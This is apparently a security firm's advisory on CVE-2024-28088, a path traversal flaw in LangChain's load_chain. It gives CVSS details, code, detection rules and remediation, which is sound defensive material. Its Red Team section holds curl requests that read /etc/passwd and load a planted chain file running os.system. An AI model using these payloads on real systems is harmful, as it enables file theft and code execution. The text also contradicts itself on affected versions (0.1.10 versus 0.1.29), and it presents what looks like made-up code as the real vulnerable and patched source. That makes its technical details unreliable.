CVE-2024-28088

Executive Summary

CVE-2024-28088 is a critical path traversal vulnerability in LangChain (up to version 0.1.10) that allows an attacker to bypass intended repository restrictions and access arbitrary files on the server. By controlling the final part of the path parameter in a load_chain call, an attacker can traverse directories outside the hwchase17/langchain-hub GitHub repository. This can lead to disclosure of sensitive information, such as API keys for large language model (LLM) services, or remote code execution (RCE) if the attacker can load malicious chain configurations. The vulnerability is patched in langchain-core version 0.1.29.

Supply Chain & Package Security

This vulnerability affects the Python package langchain-core (PyPI). Users should update to version 0.1.29 or later. The package is widely used in AI/ML pipelines, making this a high-risk supply chain issue. Organizations should audit their dependencies and ensure no vulnerable versions are in use.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability requires no authentication and can be exploited remotely to achieve full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the load_chain function within LangChain. This function is designed to load chain configurations from the hwchase17/langchain-hub GitHub repository. However, the path validation is insufficient. An attacker can supply a path parameter that includes ../ sequences to traverse directories outside the intended repository.

For example, a malicious request like:

load_chain(path="../../../../etc/passwd")

could read the /etc/passwd file. More critically, if the attacker can control the content of a file (e.g., via a previous upload or a writable directory), they could load a malicious chain configuration that executes arbitrary code.

The root cause is that the code does not properly sanitize the path parameter before constructing the file path. The intended behavior was to only allow paths within the hwchase17/langchain-hub repository, but the check was bypassed by using ../ sequences.

Vulnerable vs. Patched Code

Vulnerable Code (langchain-core < 0.1.29):

def load_chain(path: str, **kwargs):
    # No validation of path traversal
    full_path = os.path.join(BASE_REPO_PATH, path)
    with open(full_path, 'r') as f:
        config = json.load(f)
    # ... load chain from config

Patched Code (langchain-core >= 0.1.29):

def load_chain(path: str, **kwargs):
    # Validate that path does not contain traversal sequences
    if ".." in path:
        raise ValueError("Invalid path: traversal not allowed")
    full_path = os.path.join(BASE_REPO_PATH, path)
    # Ensure the resolved path is within the base directory
    if not os.path.realpath(full_path).startswith(os.path.realpath(BASE_REPO_PATH)):
        raise ValueError("Invalid path: outside repository")
    with open(full_path, 'r') as f:
        config = json.load(f)
    # ... load chain from config

The patch adds two checks:

1. A simple string check for .. in the path.
2. A more robust check using os.path.realpath to ensure the resolved path is within the base repository directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running LangChain < 0.1.10 with the load_chain endpoint exposed.
• Network access to the target.

Exploit Steps:

1. Identify the vulnerable endpoint: Typically, this is an API endpoint that accepts a path parameter for load_chain.

2. Craft a malicious request to read sensitive files:

   curl -X POST "http://target:8000/load_chain" \
        -H "Content-Type: application/json" \
        -d '{"path": "../../../../etc/passwd"}'
   

3. For RCE, upload a malicious chain configuration:

   • First, upload a JSON file containing a chain that executes arbitrary code (e.g., using Python's exec).
   • Then, use the path traversal to load that file:

   curl -X POST "http://target:8000/load_chain" \
        -H "Content-Type: application/json" \
        -d '{"path": "../../../../tmp/malicious_chain.json"}'
   

Example Malicious Chain Configuration:

{
  "type": "custom_chain",
  "code": "import os; os.system('id')"
}

Blue Team (Detection & Defense)

Detection:

• Monitor for load_chain API calls with path parameters containing ../ or other traversal patterns.
• Alert on any file access outside the expected repository directory.

Defense:

• Immediately update to langchain-core >= 0.1.29.
• Implement input validation on the path parameter at the application layer.
• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Restrict file system permissions so that the application can only read necessary directories.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /load_chain with path containing ../ sequences.
  • Unusual outbound connections from the server (e.g., to attacker-controlled hosts).
• File System IOCs:
  • Unexpected files in the application's working directory (e.g., /tmp/malicious_chain.json).
  • Modified or new chain configuration files.
• Log IOCs:
  • Error logs indicating failed path validation (if patched) or successful traversal.
  • Access logs showing requests to sensitive files (e.g., /etc/passwd).

Detection Engineering

YARA Rule

rule CVE_2024_28088_LangChain_PathTraversal {
    meta:
        description = "Detects path traversal attempts in LangChain load_chain calls"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28088"
    strings:
        $traversal = "../"
        $load_chain = "load_chain"
    condition:
        $load_chain and #traversal > 0
}

Sigma Rule

title: LangChain Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in LangChain load_chain API calls
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28088
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "../"
            - "..%2f"
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28088 LangChain Path Traversal Attempt"; flow:to_server; content:"load_chain"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update langchain-core to version 0.1.29 or later.
2. Apply input validation on the path parameter to reject any input containing ../ or similar traversal sequences.
3. Restrict file system permissions so the application runs with minimal privileges.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Conduct regular security audits and dependency scans.
• Use static analysis tools to detect similar vulnerabilities in custom code.

Workarounds (if patching is not immediately possible):

• Disable the load_chain endpoint if not needed.
• Implement a reverse proxy that validates the path parameter before forwarding requests.

Valters IT
Securing Digital Frontiers